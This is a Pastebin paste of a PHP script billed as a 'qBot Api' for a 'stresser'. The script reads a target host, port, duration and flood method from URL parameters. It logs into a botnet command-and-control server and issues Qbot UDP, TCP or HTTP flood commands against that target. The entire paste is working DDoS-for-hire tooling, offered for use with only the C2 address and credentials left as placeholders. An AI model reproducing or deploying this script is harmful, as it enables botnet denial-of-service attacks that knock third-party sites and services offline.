IRunYourModerm

[ API ] qBot Api

Apr 13th, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.21 KB | None | 0 0
  1. <?php
  2.  // QBOT API SYSTEM FOR A STRESSER
  3. //API Link: http://ServerIP/StressAPI.php?&host=$host&port=$port&time=$time&type=$method
  4. set_time_limit(0);
  5.  
  6. //CNC SERVER IP
  7. $server = "YOUR_IP_HERE";
  8.  
  9. //CNC PORT
  10. $conport = YOUR_PORT_HERE;
  11.  
  12. //Net Login
  13. $username = "Login";
  14. $password = "Pass";
  15.  
  16. $activekeys = array();
  17.  
  18. $method = $_GET['type'];
  19. $target = $_GET['host'];
  20. $port = $_GET['port'];
  21. $time = $_GET['time'];
  22.  
  23.  
  24. //Commands (change accordingly)
  25. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}
  26. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}
  27. if($method == "HTTP"){$command = "!* HTTP $target $time";}
  28.  
  29. $sock = fsockopen($server, $conport, $errno, $errstr, 2);
  30.  
  31. if(!$sock){
  32.         echo "Couldn't Connect To CNC Server...";
  33. } else{
  34.         print(fread($sock, 1024)."\n");
  35.         fwrite($sock, $username . "\n");
  36.         echo "<br>";
  37.         print(fread($sock, 1024)."\n");
  38.         fwrite($sock, $password . "\n");
  39.         echo "<br>";
  40.         if(fread($sock, 1024)){
  41.                 print(fread($sock, 1024)."\n");
  42.         }
  43.  
  44.         fwrite($sock, $command . "\n");
  45.         fclose($sock);
  46.         echo "<br>";
  47.         echo "> $command ";
  48. }
  49. ?>
Add Comment
Please, Sign In to add comment